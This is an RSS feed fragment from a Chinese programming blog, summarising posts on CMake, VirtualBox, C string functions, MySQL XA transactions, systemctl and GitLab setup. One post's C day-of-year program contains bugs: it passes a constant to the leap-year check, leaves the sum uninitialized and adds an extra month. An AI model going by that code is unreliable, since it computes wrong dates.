flags=0)，返回string中所有与pattern相匹配的全部字串，返回形式为数组（更多用法参见该文档）。 完结撒花🎉！</description>
    </item>
    <item>
      <title>linux下基于vscode cmake调试动态库和静态库</title>
      <link>https://bchobby.github.io/posts/113833bc3eb445b0da7fd023b1646afa/</link>
      <pubDate>Thu, 21 Jul 2022 16:37:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113833bc3eb445b0da7fd023b1646afa/</guid>
      <description>1 创建工程目录结构 首先创建工程文件（文件名mymath），VScode打开，进行目录结构创建。工程目录结构如下：&#xA;.vscode是存放task.json和launch.json编译调试的文件夹。task.json和launch.json是自动生成的，但是需要根据自己的工程进行修改，后面会具体介绍。&#xA;bin是存放最终可执行文件的文件夹；&#xA;build是工程编译时生成的一些文件，有点类似于VS中的Debug；&#xA;include是工程头文件；&#xA;lib是存放生成的动态库和静态库（.a/.so）文件夹；&#xA;myadd是动态库库工程；&#xA;mymain是主工程；&#xA;mysub是静态库库工程；&#xA;根目录下的CMakeLists.txt是起到加载子目录，然后编译调试的功能。&#xA;2 代码和文件的具体实现&#xA;2.1 动态库myadd&#xA;头文件myadd.h&#xA;源文件myadd.cpp&#xA;CMakeLists.txt文件&#xA;2.2 静态库mysub&#xA;头文件mysub.h&#xA;源文件mysub.cpp&#xA;CMakeLists.txt文件&#xA;2.3 主工程mymain&#xA;头文件mymain.cpp&#xA;CMakeLists.txt文件&#xA;2.4 根目录下的CMakeLists.txt&#xA;3 编译和调试 3.1 编译&#xA;1、按住ctrl+shift+p，打开命令命令面板，输入CMake: Configure，配置CMake。&#xA;2、选择GCC7.5.0 xxxxx选项&#xA;3、配置完成后，在最下方会出现一条状态栏。先后执行Build和 run，输出结果。&#xA;3.2 调试&#xA;工程调试需要配置json文件，task.json 编译，launch.json调试。 配置c_cpp_properties.json文件 按住ctrl+shift+p，打开命令命令面板，输入CMake: Configure，配置CMake。&#xA;2.配置任务tasks.json文件&#xA;按住ctrl+shift+p，打开命令命令面板，输入Tasks: Configure Default Build Task，进行配置。&#xA;3. 配置launch.json文件&#xA;按下F5进行launch.json文件配置。&#xA;4. 最后按下ctrl+F5即可打断点进行调试。&#xA;单步运行就可以进入到库工程中，进行调用库的调试。&#xA;3.3 结果&#xA;当调试完成后，在lib文件夹下会生成动态库和静态库文件（.so/.a），在bin下生成可执行文件exe。</description>
    </item>
    <item>
      <title>VirtualBox启动报错 E_FAIL (0x80004005) SessionMachine</title>
      <link>https://bchobby.github.io/posts/511a273916babe868280809a82fac57a/</link>
      <pubDate>Thu, 21 Jul 2022 15:50:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/511a273916babe868280809a82fac57a/</guid>
      <description>目录&#xA;问题描述&#xA;解决方法&#xA;问题描述 很无语，启动就报错，也不写具体原因。但是每次卸载重装virtualbox后的第一次启动是成功的，只有就又报错。0x80004005报错的类别很多， 本文指的是SessionMachine，长这样：&#xA;网上找到一个说法是，在最新的测试版中修复了该问题：&#xA;原贴链接：#20574 (VBoxManage &#39;start --type headless&#39; cannot be correctly closed by &#39;controlvm acpipowerbutton&#39;) – Oracle VM VirtualBoxhttps://www.virtualbox.org/ticket/20574&#xA;测试版下载链接：&#xA;Testbuilds – Oracle VM VirtualBoxhttps://www.virtualbox.org/wiki/Testbuilds&#xA;至少我装完，直接啥都不能用了，我是真的会谢。。。&#xA;解决方法 初步分析是安装镜像系统时的virtualbox版本和后来新装的virtualbox版本之间有点不兼容，因为新装的镜像系统时可以正常启动的。&#xA;1、可以尝试使用“管理员身份”运行virtualbox，再打开虚拟机。&#xA;2、可以尝试先“导出虚拟机”，然后再“导入虚拟机”。</description>
    </item>
    <item>
      <title>用C语言编写程序，给出年、月、日，计算该日是该年的第几天。</title>
      <link>https://bchobby.github.io/posts/04c745347f224975138f00ee5acabc90/</link>
      <pubDate>Thu, 21 Jul 2022 13:59:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04c745347f224975138f00ee5acabc90/</guid>
      <description>1.用C语言编写程序，给出年、月、日，计算该日是该年的第几天。 #include &amp;lt;stdio.h&amp;gt; //给出年、月、日，计算该日是该年的第几天 int day(int l,int m,int n); int leap(int year); int main() { int year,m,n,sum; printf(&#34;请输入年月日:\n&#34;); scanf(&#34;%d %d %d&#34;,&amp;amp;year,&amp;amp;m,&amp;amp;n); sum=day(year,m,n); printf(&#34;%d年%d月%d日是第%d天&#34;,year,m,n,sum); return 0; } int day(int l,int m,int n) //判断天数 { int a[12]={31,29,31,30,31,30,31,31,30,31,30,31}; int b[12]={31,28,31,30,31,30,31,31,30,31,30,31}; int i,sum; if(leap(1)) //判断 { for(i=0;i&amp;lt;m;i++) sum+=a[i]; } else { for(i=0;i&amp;lt;m;i++) sum+=b[i]; } sum+=n; return sum; } int leap(int year) //判断闰年 { if(year%4==0 &amp;amp;&amp;amp; year%100!=0 || year%400 == 0) return 1; else return 0; } 运行结果如下：</description>
    </item>
    <item>
      <title>java堆、栈、方法区里面都有些啥（详解）</title>
      <link>https://bchobby.github.io/posts/9add0c4dec88c76a4fc51a16d09896bc/</link>
      <pubDate>Thu, 21 Jul 2022 10:46:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9add0c4dec88c76a4fc51a16d09896bc/</guid>
      <description>内存管理：由JVM管理 堆：&#xA;存储的是new出来的对象(包括实例变量、数组的元素)&#xA;垃圾：没有任何引用所指向的对象&#xA;垃圾回收器(GC)不定时到堆中清扫垃圾，回收过程是透明的(看不到的)，并不一定一发现垃圾就立刻回收，通过调用System.gc()建议虚拟机尽快调度GC来回收&#xA;实例变量的生命周期：&#xA;在创建时对象时存储在堆中，对象被回收时一并被回收&#xA;内存泄漏：不再使用的对象还没有被及时的回收，严重的泄漏会导致系统的崩溃&#xA;建议：不再使用的对象应及时将引用设置为null&#xA;栈：&#xA;存储正在调用的方法中的局部变量(包括方法的参数)&#xA;调用方法时会在栈中为该方法分配一块对应的栈帧，栈帧中存储局部变量(包括方法的参数)，方法调用结束时，栈帧被自动清除，局部变量一并被清除&#xA;局部变量的生命周期：&#xA;调用方法时存储在栈中，方法调用结束时与栈帧一并被清除&#xA;方法区：&#xA;存储.class字节码文件(包括静态变量、所有方法)&#xA;方法只有一份，通过this来区分具体的调用对象</description>
    </item>
    <item>
      <title>LeetCode.565. 数组嵌套____暴力dfs-＞剪枝dfs-＞原地修改</title>
      <link>https://bchobby.github.io/posts/e32ea06c40edb2776756a43241cbecbc/</link>
      <pubDate>Thu, 21 Jul 2022 09:52:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e32ea06c40edb2776756a43241cbecbc/</guid>
      <description>565. 数组嵌套 索引从0开始长度为N的数组A，包含0到N - 1的所有整数。找到最大的集合S并返回其大小，其中 S[i] = {A[i], A[A[i]], A[A[A[i]]], … }且遵守以下的规则。&#xA;假设选择索引为i的元素A[i]为S的第一个元素，S的下一个元素应该是A[A[i]]，之后是A[A[A[i]]]… 以此类推，不断添加直到S出现重复的元素。&#xA;示例 1:&#xA;输入: A = [5,4,0,3,1,6,2]&#xA;输出: 4&#xA;解释:&#xA;A[0] = 5, A[1] = 4, A[2] = 0, A[3] = 3, A[4] = 1, A[5] = 6, A[6] = 2.&#xA;其中一种最长的 S[K]:&#xA;S[0] = {A[0], A[5], A[6], A[2]} = {5, 6, 2, 0}&#xA;提示：&#xA;1 &amp;lt;= nums.length &amp;lt;= 1050 &amp;lt;= nums[i] &amp;lt; nums.lengthA中不含有重复的元素。 Solution1(暴力dfs): 每次任选一个起点开始，接着使其不断的走，边走边进行标记，直到无法继续走后，判断长度即可，接着标记数组进行回溯，从下一个起点再继续走。</description>
    </item>
    <item>
      <title>memcpy函数详解 看这一篇就够了-C语言（函数讲解、 使用用法举例、作用）</title>
      <link>https://bchobby.github.io/posts/9c895ad379b20e75486cff66bdd555f7/</link>
      <pubDate>Thu, 21 Jul 2022 02:21:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c895ad379b20e75486cff66bdd555f7/</guid>
      <description>memcpy()函数用于：复制内存块&#xA;函数介绍 函数声明：void * memcpy ( void * destination, const void * source, size_t num );&#xA;参数&#xA;目的地：指向要在其中复制内容的目标数组的指针，类型转换为 void* 类型的指针。&#xA;源：指向要复制的数据源的指针，类型转换为 const void* 类型的指针。&#xA;数字：要复制的字节数。 size_t 是无符号整数类型。&#xA;头 文 件：#include &amp;lt;string.h&amp;gt;&#xA;返 回 值： 返回目的地。&#xA;用法示例 ​​​​​​ 函数讲解 将 num 字节值从源指向的位置直接复制到目标内存块。&#xA;源指针和目标指针所指向的对象的基础类型与此函数无关;结果是数据的二进制副本。&#xA;该函数不检查源中是否有任何终止空字符 - 它始终精确地复制数字字节。&#xA;为避免溢出，目标参数和源参数所指向的数组的大小应至少为 num 个字节，并且不应重叠（对于重叠的内存块，memmove 是一种更安全的方法）。&#xA;函数memcpy从source的位置开始向后复制num个字节的数据到destinatation&#xA;这个函数在遇到 &#39;\0&#39; 的时候并不会停下来。&#xA;如果source和destination有任何的重叠，复制的结果都是未定义的。&#xA;实现函数 void* My_memcpy(void* dest,const void* src, size_t num) { assert(dest &amp;amp;&amp;amp; src); void* ret = dest; while (num--) { *(char*)dest = *(char*)src; dest = (char*)dest + 1; src = (char*)src + 1; } return ret; } 事例展示 #include &amp;lt;stdio.</description>
    </item>
    <item>
      <title>strstr函数详解 看这一篇就够了-C语言（函数讲解、函数实现、使用用法举例、作用、自己实现函数 ）</title>
      <link>https://bchobby.github.io/posts/d39633a3f56daf57ec91914e7c82a827/</link>
      <pubDate>Thu, 21 Jul 2022 00:05:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d39633a3f56daf57ec91914e7c82a827/</guid>
      <description>strstr()函数用于：查找子字符串&#xA;目录&#xA;函数介绍&#xA;用法示例&#xA;函数讲解&#xA;实现函数 事例展示&#xA;函数介绍 函数声明：char *strstr(const char *str1, const char *str2)&#xA;头 文 件：#include &amp;lt;string.h&amp;gt;&#xA;返 回 值： 返回值为char * 类型（ 返回指向 str1 中第一次出现的 str2 的指针）；如果 str2 不是 str1 的一部分，则返回空指针。 用法示例 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int main() { char str[] = &#34;This is a simple string&#34;; char* pch; pch = strstr(str, &#34;simple&#34;); if (pch != NULL) strncpy(pch, &#34;sample&#34;, 6); puts(str); return 0; } 函数讲解 实现函数 char* My_strstr(const char* str1, const char* str2) { assert(str1 &amp;amp;&amp;amp; str2); const char* s1 = str1; const char* s2 = str2; const char* p = str1; while (*p!</description>
    </item>
    <item>
      <title>Gitee(码云)、Github同时配置ssh key</title>
      <link>https://bchobby.github.io/posts/6be0ce1b4c52db57f880f8f77998cc4b/</link>
      <pubDate>Wed, 20 Jul 2022 19:31:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6be0ce1b4c52db57f880f8f77998cc4b/</guid>
      <description>进入ssh目录 cd ~/.ssh 使用命令分别创建两个平台的公钥 ssh-keygen -t rsa -C &#34;test@qq.com&#34; -f &#34;id_rsa_gitee&#34; ssh-keygen -t rsa -C &#34;test@163.com&#34; -f &#34;id_rsa_github&#34; 完成后，目录内容如下：&#xA;-rw------- 1 rpp staff 2.5K 6 18 2020 id_rsa -rw-r--r-- 1 rpp staff 570B 6 18 2020 id_rsa.pub -rw------- 1 rpp staff 2.5K 6 24 2020 id_rsa_gitee -rw-r--r-- 1 rpp staff 570B 6 24 2020 id_rsa_gitee.pub -rw------- 1 rpp staff 2.5K 6 24 2020 id_rsa_github -rw-r--r-- 1 rpp staff 568B 6 24 2020 id_rsa_github.</description>
    </item>
    <item>
      <title>Linux基础入门到精通之CentOS镜像下载</title>
      <link>https://bchobby.github.io/posts/adab38596ba7b398fee6080315f3b6f6/</link>
      <pubDate>Wed, 20 Jul 2022 19:17:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adab38596ba7b398fee6080315f3b6f6/</guid>
      <description>下载CentOS镜像可以从官网下载https://www.centos.org/download/，也可以从国内的镜像网站下载。&#xA;比如：&#xA;阿里云：https://mirrors.aliyun.com/centos/&#xA;网易：http://mirrors.163.com/&#xA;两个都可以，操作一样，下面就以阿里云举例。&#xA;1、进入上面阿里云centos镜像下载页面 centos镜像下载1&#xA;2、选择你要下载的版本，这里下载6.8版本，点击。 centos镜像下载2&#xA;3、点击readme，浏览器中可能需要下载，打开文件，选取网址。 centos镜像下载3&#xA;4、在浏览器中打开网址，选择对应的版本号进入文件。 centos镜像下载4&#xA;5、我们需要的镜像文件在 isos/ 目录下，点击进入下一层目录。 centos镜像下载5&#xA;6、我们发现这一层目录下又有两个子目录，i386/ 和x86_64/ ，i386表示32位的镜像文件，x86_64/ 表示64位的镜像文件，可根据自己需要选择，这里我们选择x86_64 centos镜像下载6&#xA;7、进入根目录后，发现里边有不同类型的镜像文件和其他文件 ： 首先是readme.txt里边给出了不同镜像文件类型的说明&#xA;然后是各种类型的镜像文件，简介中已有说明，再简单提一下：&#xA;bin-DVD.iso:本地离线镜像文件，可直接直接安装到硬盘上，一般下载这个即可。LiveCD/DVD.iso: 是一个光盘Centos系统，可通过光盘在电脑商启动系 统，也可以安装到计算机，有些内容还需要再次下载。minimal.iso: 精简版的镜像，可安装最基本的Centos系统，一般用在服务器上。netinstall.iso: 在线安装版本，启动后边下载边安装。&#xA;最后是一些不同的校检文件，用来验证文件的安全性和可用性，一般不用考虑。 最后，我们选择需要的版本（最好两个都下）： CentOS-6.5-x86_64-bin-DVD1.iso CentOS-6.5-x86_64-bin-DVD2.iso centos镜像下载7&#xA;注：下载好的镜像文件分成两部分，是因为光盘文件不能超过4.7GB，DVD1中包含主要的centos系统和部分必需的软件包，DVD2就是些额外的软件包，在安装centos的时候只安装DVD1也可以。&#xA;8、选择下载资源站点 点击上边选择的镜像文件中任一个后，进入一个资源站点选择界面，如下，只有两个资源区即USA和Europe，经测试，选择USA或Europe的第一个站点都可以的，第二个站点都不能访问。这里我们选USA的第一个站点，点击后会进入站点镜像资源主目录：&#xA;centos镜像下载8&#xA;Tips:&#xA;我一般会选择第7步中，下图中选项&#xA;直接下载种子，通过下载工具直接下载。（两个文件同时下载下来）&#xA;9、选择版本资源目录 接第8步，选择我们下载对应版本的资源目录，6.8。&#xA;centos镜像下载9&#xA;10、进入镜像资源根目录： 上一步选择版本号之后，就进入下一层资源目录，之后就是与前边相似的目录结构，依次选择，直到进入镜像资源根目录：&#xA;centos镜像下载10&#xA;centos镜像下载11&#xA;11、点击链接下载 分别点击图中链接，进行下载。&#xA;12、CentOS镜像下载结束 这里说一下，可以在CentOS官网上直接下载，在下载时，还是可以选择国内的镜像网站下载，和上边是一样。每种方式都可以，看自己的习惯。</description>
    </item>
    <item>
      <title>已解决Module not found: Error: Can‘t resolve ‘core-js/fn/reflect‘ in</title>
      <link>https://bchobby.github.io/posts/79bd0f9053f6bbe74cd54fede395a21c/</link>
      <pubDate>Wed, 20 Jul 2022 19:16:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79bd0f9053f6bbe74cd54fede395a21c/</guid>
      <description>这个是写construct ，Vue自动给添加一个路径&#xA;把上面标红的这行删掉就解决了 我当时只是想打const ，结果不小心写成construct，然后我改成const但是Vue添加的路径没有去掉</description>
    </item>
    <item>
      <title>【mysql】Lock wait timeout exceeded； try restarting transaction问题解决(trx_mysql_thread_id=0情况)</title>
      <link>https://bchobby.github.io/posts/3004b6b12f0e0eb1cf26ed5352e479b2/</link>
      <pubDate>Wed, 20 Jul 2022 16:40:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3004b6b12f0e0eb1cf26ed5352e479b2/</guid>
      <description>在进行接口调用时，响应时间超长，之后接口返回异常，查看日志发现为Lock wait timeout exceeded; try restarting transaction的错误。&#xA;在数据库执行了一下删除语句，发现也是这个错误，因为使用的数据库为mysql，而InnoDB表类型会出现锁等待的情况，在出现锁等待时，会根据参数innodb_lock_wait_timeout（默认50s）的配置，判断是否需要进行timeout的操作，如果等待时间超过了设置的时间就会报错。&#xA;我们可以用下面三张表来查原因：&#xA;1、 innodb_trx ## 当前运行的所有事务 2、innodb_locks ## 当前出现的锁 3、innodb_lock_waits ## 锁等待的对应关系 通过以下语句来查看正在执行的事务：&#xA;select * from information_schema.innodb_trx; 正常情况下，可以直接根据id杀死mysql线程&#xA;kill (trx_mysql_thread_id) XA事务&#xA;但是发现事务的trx_mysql_thread_id=0，发现这是XA事务，因为trx_mysql_thread_id=0 的事务无法通过kill trx_mysql_thread_id 的方式处理，所以，需要回滚这些XA事务。&#xA;查看XA事务信息&#xA;xa recover; 回滚事务&#xA;# XA事务回滚命令的格式： xa rollback &#39;left(data,gtrid_length)&#39;，&#39;substr(data,gtrid_length+1,bqual_length)&#39;, formatID; 以上查出来的信息拼接结果为（以下举其中一个为例）：&#xA;xa rollback &#39;172.26.228.19:8091:50164878136127488&#39;,&#39;-50164878593306625&#39;,9752; 直到查询无正在执行事务为止：&#xA;此时再去执行删除语句，发现可以正常删除，问题解决！</description>
    </item>
    <item>
      <title>点击一行字，弹窗显示全部文字</title>
      <link>https://bchobby.github.io/posts/6980333dc6b5aa95c061c58507a1b28e/</link>
      <pubDate>Wed, 20 Jul 2022 15:12:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6980333dc6b5aa95c061c58507a1b28e/</guid>
      <description>功能：点击文字弹窗显示全部内容&#xA;处理建议/措施文字太长怎么办？遇到此类需求可以弹窗显示全部内容，或者点击展开详情，在这里我用弹窗实现此功能。&#xA;代码如下：&#xA;.inner_deal_measures{ width: 100%; height: 50%; position: relative; } .measures2 li { display: flex; width: 100%; height: 23%; padding: 4px 0 0 0; } .inner_deal_measures h5 { height: 30px; font-size: 16px; color: #7FBED3; background: linear-gradient(90deg, rgba(65, 160, 190, 0.4) 0%, rgba(57, 151, 182, 0) 100%); line-height: 30px; border-left: 4px solid #13748F; padding-left: 10px; } .measures2 li p { font-size: 16px; padding: 0px 4px 0; width: calc(100% - 32px); overflow: hidden; height: 100%; text-overflow: ellipsis; white-space: nowrap; line-height: 30px; } .</description>
    </item>
    <item>
      <title>如何关闭谷歌浏览器的调试功能</title>
      <link>https://bchobby.github.io/posts/29bcd8045841dc4d9ef2a2c30225e0e6/</link>
      <pubDate>Wed, 20 Jul 2022 14:49:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29bcd8045841dc4d9ef2a2c30225e0e6/</guid>
      <description>在用谷歌浏览器运行web项目时，不小心点开了断点调试，然后无法关闭，重启浏览器也是一样&#xA;解决办法：&#xA;长按蓝色图标，切换为停止即可</description>
    </item>
    <item>
      <title>SLAM十四讲-ch3-vistalizegeometry编译问题</title>
      <link>https://bchobby.github.io/posts/0bd0ec08daeed13ae6017c13805281e7/</link>
      <pubDate>Wed, 20 Jul 2022 12:58:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bd0ec08daeed13ae6017c13805281e7/</guid>
      <description>最近在学高翔博士的《SLAM十四讲》，在ch3中运行vistalizegeometry这个demo的时候，出现如下报错信息（图片版报错看不清的话，文末附文字版的报错信息）：&#xA;刚开始我还以为是我pangolin安装有问题，后来发现是这个demo中的CMakeLists.txt配置不适合本机Ubuntu20.04的环境（和C++编译器版本有关系）&#xA;只需要更改CMakeLists.txt中的一行代码即可解决！！！！如图：&#xA;把第4行注释掉，&#xA;# set(CMAKE_CXX_FLAGS &#34;-std=c++11&#34;) # 注释掉这一行！！！ 即可顺利make，然后执行！&#xA;slamlearn@slamlearn-VirtualBox:~/slambook2/ch3/visualizeGeometry/build$ cmake .. -- The C compiler identification is GNU 9.4.0 -- The CXX compiler identification is GNU 9.4.0 -- Check for working C compiler: /usr/bin/cc -- Check for working C compiler: /usr/bin/cc -- works -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Detecting C compile features -- Detecting C compile features - done -- Check for working CXX compiler: /usr/bin/c++ -- Check for working CXX compiler: /usr/bin/c++ -- works -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Detecting CXX compile features -- Detecting CXX compile features - done -- Looking for pthread.</description>
    </item>
    <item>
      <title>工具系列——foxmail 邮箱邮件接收不到的问题</title>
      <link>https://bchobby.github.io/posts/454b05e98d684cd3bfc069fe7e209e5d/</link>
      <pubDate>Wed, 20 Jul 2022 11:57:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/454b05e98d684cd3bfc069fe7e209e5d/</guid>
      <description>今天，公司行政遇到一个问题，用 foxmail 登录公司分配的邮箱账号后接收不到邮件。&#xA;登录后的界面如下：&#xA;这么一看，很明显就是少了写东西，第一时间感觉就是邮箱的接收和发件设置有问题，查看了一下设置，果然是接收和发件的地址写错了，后面改回来就没问题了&#xA;顺便科普下 pop 和 smtp:（来自百度）&#xA;POP3 — 接收&#xA;POP3是Post Office Protocol 3的简称，即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电子协议。&#xA;它是因特网电子邮件的第一个离线协议标准,POP3允许用户从服务器上把邮件存储到本地主机（即自己的计算机）上,同时删除保存在邮件服务器上的邮件，而POP3服务器则是遵循POP3协议的接收邮件服务器，用来接收电子邮件的。&#xA;SMTP — 发送&#xA;SMTP 的全称是“Simple Mail Transfer Protocol”，即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范，通过它来控制邮件的中转方式。&#xA;SMTP 协议属于 TCP/IP 协议簇，它帮助每台计算机在发送或中转信件时找到下一个目的地。SMTP 服务器就是遵循 SMTP 协议的发送邮件服务器。</description>
    </item>
    <item>
      <title>Linux系列——Linux操作指令之systemctl详细理解及常用命令</title>
      <link>https://bchobby.github.io/posts/4529489de2c333ca4e9f4c1a7ae6e9b9/</link>
      <pubDate>Wed, 20 Jul 2022 11:53:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4529489de2c333ca4e9f4c1a7ae6e9b9/</guid>
      <description>一、systemctl理解 Linux 服务管理两种方式service和systemctl&#xA;systemd是Linux系统最新的初始化系统(init),作用是提高系统的启动速度，尽可能启动较少的进程，尽可能更多进程并发启动。&#xA;systemd对应的进程管理命令是systemctl&#xA;1. systemctl命令兼容了service 即systemctl也会去/etc/init.d目录下，查看，执行相关程序&#xA;systemctl redis start systemctl redis stop # 开机自启动 systemctl enable redis 2. systemctl命令管理systemd的资源Unit systemd的Unit放在目录/usr/lib/systemd/system(Centos)或/etc/systemd/system(Ubuntu)&#xA;主要有四种类型文件.mount,.service,.target,.wants&#xA;.mount文件&#xA;.mount文件定义了一个挂载点，[Mount]节点里配置了What,Where,Type三个数据项&#xA;等同于以下命令：&#xA;mount -t hugetlbfs /dev/hugepages hugetlbfs&#xA;.service文件&#xA;.service文件定义了一个服务，分为[Unit]，[Service]，[Install]三个小节&#xA;[Unit]&#xA;Description:描述，&#xA;After：在network.target,auditd.service启动后才启动&#xA;ConditionPathExists: 执行条件&#xA;[Service]&#xA;EnvironmentFile:变量所在文件&#xA;ExecStart: 执行启动脚本&#xA;Restart: fail时重启&#xA;[Install]&#xA;Alias:服务别名&#xA;WangtedBy: 多用户模式下需要的&#xA;.target文件&#xA;.target定义了一些基础的组件，供.service文件调用&#xA;.wants文件&#xA;二、常用命令 1.查看版本号 systemctl –-version 2.管理服务(unit)&#xA;systemctl 提供了一组子命令来管理单个的 unit，其命令格式为：&#xA;systemctl [command] [unit]&#xA;command 主要有：&#xA;start：立刻启动后面接的 unit。&#xA;stop：立刻关闭后面接的 unit。&#xA;restart：立刻关闭后启动后面接的 unit，亦即执行 stop 再 start 的意思。</description>
    </item>
    <item>
      <title>数据库系列（MySQL）—— MySQL优化之多表join，多个in或or查询的速率优化逻辑</title>
      <link>https://bchobby.github.io/posts/d0bbb08777c47248ce5a8b8b1997f3ff/</link>
      <pubDate>Wed, 20 Jul 2022 11:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0bbb08777c47248ce5a8b8b1997f3ff/</guid>
      <description>今天在优化一个sql查询，因为是一个订单的查询，需要验证一些订单的查看权限，其中逻辑需要join到多个其他表格，同时也用到很多in和or，导致多表都是用到全表扫描，速率及其慢。&#xA;比如订单中的商品的标签字段需要做过滤，下面模拟表格order（订单表），item（商品表），tag（标签表）&#xA;一般的逻辑大致上是这样的&#xA;select * from order&#xA;where (某些过滤语句)&#xA;where tag.name not in (tags)&#xA;left join item on item.tid = order.tid&#xA;left join tag on item.id = tag.item_id&#xA;优化方案是这样的，先根据tags 获取到对应的item_ids，即要不需要过滤掉的item_ids，然后根据item_ids获取到对应得tids，最后语句为&#xA;select * from order&#xA;where (某些过滤语句)&#xA;where tid in (tids)&#xA;可能表述有些乱，因为个人感觉这个数据库设计得有些问题，可能是经过几次的需求改动。或者是因为订单需要做快照，即下单之后订单的数据不会随着产品数据的修改而变动。&#xA;但是我要表述的优化逻辑就是，可以用反向的思维去，先把join的表格中的数据根据条件筛选出符合的数据，而不是一味地进行连表操作。</description>
    </item>
    <item>
      <title>nacos 集群连接报错： Nacos cluster is running with 1.X mode</title>
      <link>https://bchobby.github.io/posts/b003b2a169992ee611478e9df278e7b4/</link>
      <pubDate>Wed, 20 Jul 2022 11:31:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b003b2a169992ee611478e9df278e7b4/</guid>
      <description>完整报错信息：&#xA;Nacos cluster is running with 1.X mode, can&#39;t accept gRPC request temporarily. Please check the server status or close Double write to force open 2.0 mode&#xA;背景：&#xA;生产环境springboot 应用连nacos 集群连不上，集群三个节点，版本都是2.x&#xA;具体报错：&#xA;这里说的是nacos节点运行的是1.x版本模式，我们应用使用的是2.x版本，2.x会使用gRPC进行通信，所以这里不支持。&#xA;解决：&#xA;报错里提示打开nacos官方文档，这里截图没展示出来。按照报错提示检查了nacos集群状态，显示正常。又因为是生产不敢轻易关闭双写，走流程申请之后联系集成的同学关闭了nacos双写，报错消失，应用正常。</description>
    </item>
    <item>
      <title>gitlab&#43;jenkins持续集成CICD服务部署详细篇</title>
      <link>https://bchobby.github.io/posts/440056f87c3877a01c9a061e7b4bb546/</link>
      <pubDate>Wed, 20 Jul 2022 11:16:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/440056f87c3877a01c9a061e7b4bb546/</guid>
      <description>gitlab安装 GitLab简介&#xA;GitLab 是一个用于仓库管理系统的开源项目。使用Git作为代码管理工具，并在此基础上搭建起来的web服务。可通过Web界面进行访问公开的或者私人项目。它拥有与Github类似的功能，能够浏览源代码，管理缺陷和注释。可以管理团队对仓库的访问，它非常易于浏览提交过的版本并提供一个文件历史库。团队成员可以利用内置的简单聊天程序(Wal1)进行交流。它还提供一个代码片段收集功能可以轻松实现代码复用。常用的网站:&#xA;官网:GitLab最新版下载安装_GitLab中文免费版-极狐GitLab中文官方网站&#xA;国内镜像:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/安装环境:&#xA;1、Centos 6或者7&#xA;2、2G内存(实验)生产(至少4G)&#xA;3、 安装包:gitlab-ce-10.2.2-ce 4 、禁用防火墙，关闭selinux&#xA;1. 安装和配置必须的依赖项&#xA;在 CentOS 7上，下面的命令也会在系统防火墙中打开 HTTP、HTTPS 和 SSH 访问。这是一个可选步骤，如果您打算仅从本地网络访问极狐GitLab，则可以跳过它。&#xA;sudo yum install -y curl policycoreutils-python openssh-server perl #上面这个是最重要的 sudo systemctl enable sshd sudo systemctl start sshd sudo firewall-cmd --permanent --add-service=http sudo firewall-cmd --permanent --add-service=https sudo systemctl reload firewalld 2.（可选）下一步，安装 Postfix 以发送电子邮件通知。如果您想使用其他解决方案发送电子邮件，请跳过此步骤并在安装极狐GitLab 后配置外部 SMTP 服务器。&#xA;sudo yum install postfix sudo systemctl enable postfix sudo systemctl start postfix 在安装 Postfix 的过程中可能会出现一个配置界面，在该界面中选择“Internet Site”并按下回车。把“mail name”设置为您服务器的外部 DNS 域名并按下回车。如果还有其它配置界面出现，继续按下回车以接受默认配置。</description>
    </item>
    <item>
      <title>linux批量删除指定名称的文件夹</title>
      <link>https://bchobby.github.io/posts/f90c26fe6411ccd93f4cd8e19f66b526/</link>
      <pubDate>Wed, 20 Jul 2022 10:42:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f90c26fe6411ccd93f4cd8e19f66b526/</guid>
      <description>linux批量删除指定名称的文件夹&#xA;find /root/baseline_dataset -name .ipynb_checkpoints | xargs rm -rf&#xA;find # find 命令又来查找&#xA;/root/baseline_dataset # 查找的目录&#xA;-name # 指定是通过名字 name 来查找&#xA;.ipynb_checkpoints # 指定文件/目录的名字&#xA;| # linux 管线&#xA;xargs # 组合多个命令的一个工具，建议自行搜索查阅&#xA;rm -rf # 删除命令&#xA;以删除.svn 文件夹为例&#xA;cd 存在.svn文件目录 执行&#xA;find . -name “*.svn” | xargs rm -rf&#xA;欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章，了解一下Markdown的基本语法知识。&#xA;新的改变 我们对Markdown编辑器进行了一些功能拓展与语法支持，除了标准的Markdown编辑器功能，我们增加了如下几点新功能，帮助你用它写博客：&#xA;全新的界面设计 ，将会带来全新的写作体验；在创作中心设置你喜爱的代码高亮样式，Markdown 将代码片显示选择的高亮样式 进行展示；增加了 图片拖拽 功能，你可以将本地的图片直接拖拽到编辑区域直接展示；全新的 KaTeX数学公式 语法；增加了支持甘特图的mermaid语法1 功能；增加了 多屏幕编辑 Markdown文章功能；增加了 焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置 等功能，功能按钮位于编辑区域与预览区域中间；增加了 检查列表 功能。 功能快捷键 撤销：Ctrl/Command + Z</description>
    </item>
    <item>
      <title>Java------Stream流式编程源码分析（二）</title>
